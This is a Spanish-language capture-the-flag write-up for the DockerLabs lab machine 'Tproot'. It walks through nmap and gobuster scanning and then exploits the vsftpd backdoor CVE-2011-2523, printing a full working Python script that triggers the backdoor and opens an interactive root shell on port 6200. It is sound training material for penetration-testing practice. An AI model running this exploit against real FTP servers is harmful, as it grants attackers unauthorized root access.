Tproot
Introducción
Sección titulada «Introducción»En este artículo explico cómo resolví el CTF de la máquina virtual Tproot. A lo largo del texto, detallo paso a paso las técnicas y herramientas utilizadas para identificar y explotar sus vulnerabilidades.
Información de la Máquina Virtual
Sección titulada «Información de la Máquina Virtual»- Nombre: Tproot
- Autor: d1se0
- Nivel de Dificultad: Muy fácil
- Fecha de creación: 10/02/2025
Paso 0: Instalación y Despliegue
Sección titulada «Paso 0: Instalación y Despliegue»-
Descargamos la máquina desde DockerLabs.
-
Descomprimimos el archivo:
Ventana de terminal unzip Tproot.zip -
Ejecutamos el script de despliegue:
Ventana de terminal sudo bash auto_deplo.sh Tproot.tar
Paso 1: Reconocimiento
Sección titulada «Paso 1: Reconocimiento»Escaneo de Red
Sección titulada «Escaneo de Red»Al iniciar la máquina, se nos proporciona directamente su dirección IP, por lo que no fue necesario realizar un escaneo ARP.

Creamos una carpeta para el proyecto y utilizamos la función mkt, que genera automáticamente cuatro subdirectorios: content, exploits, nmap y scripts.
mkdir Tprootcd TprootmktEscaneo de Puertos
Sección titulada «Escaneo de Puertos»Realizamos un escaneo completo de puertos:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsExtraemos los puertos abiertos con:
extractPorts allPorts
Escaneamos los servicios detectados:
nmap -sCV -p80 172.17.0.2 -oN targeted
El escaneo revela una vulnerabilidad explotable: CVE-2011-2523.
Enumeración de Servicios
Sección titulada «Enumeración de Servicios»Detectamos un servicio FTP activo en el puerto 21. Lo escaneamos en busca de vulnerabilidades conocidas:
nmap -p21 --script vuln 172.17.0.2Enumeración Web
Sección titulada «Enumeración Web»Enumeramos los directorios accesibles del servidor web:
gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200Resultado:

Se descubre un index.html sin vulnerabilidades aparentes. Se trata de la página por defecto de Apache.

Paso 2: Explotación
Sección titulada «Paso 2: Explotación»La vulnerabilidad CVE-2011-2523 permite ejecución remota de comandos (RCE). Al conectarse al servicio FTP e ingresar :) como nombre de usuario, se habilita una shell administrativa en el puerto 6200.
Debido a que la conexión directa no es posible en esta ocasión, utilizamos un script adaptado de ExploitDB:
#!/usr/bin/env python3
import argparseimport asynciofrom signal import signal, SIGINTfrom sys import exitfrom telnetlib3 import open_connection
def handler(signal_received, frame): print('[+] Saliendo...') exit(0)
signal(SIGINT, handler)
parser = argparse.ArgumentParser()parser.add_argument("host", help="Dirección IP del host vulnerable", type=str)args = parser.parse_args()host = args.hostportFTP = 21
user = "USER nergal:)"password = "PASS pass"
async def main(): reader, writer = await open_connection(host, portFTP) writer.write(user + '\n') await writer.drain() print(await reader.read(1024))
writer.write(password + '\n') await writer.drain() print(await reader.read(1024))
try: reader2, writer2 = await open_connection(host, 6200) print('Shell abierta en el puerto 6200. Usa `exit` para salir.') while True: command = input("shell> ") if command.strip().lower() == "exit": break writer2.write(command + '\n') await writer2.drain() print(await reader2.read(4096)) writer2.close() await writer2.wait_closed() except Exception as e: print(f"[!] Error al conectar al puerto 6200: {e}")
writer.close() await writer.wait_closed()
if __name__ == "__main__": asyncio.run(main())Ejecutamos el script:
python3 script.py 172.17.0.2Elevación de Privilegios
Sección titulada «Elevación de Privilegios»No es necesario realizar técnicas de escalada, ya que la shell obtenida se ejecuta directamente como usuario root.

Notas Finales
Sección titulada «Notas Finales»- La máquina cumple su propósito como ejercicio introductorio, con una dificultad muy baja.
- Ideal para practicar explotación de servicios FTP vulnerables y uso de herramientas como Nmap, Gobuster y scripts personalizados.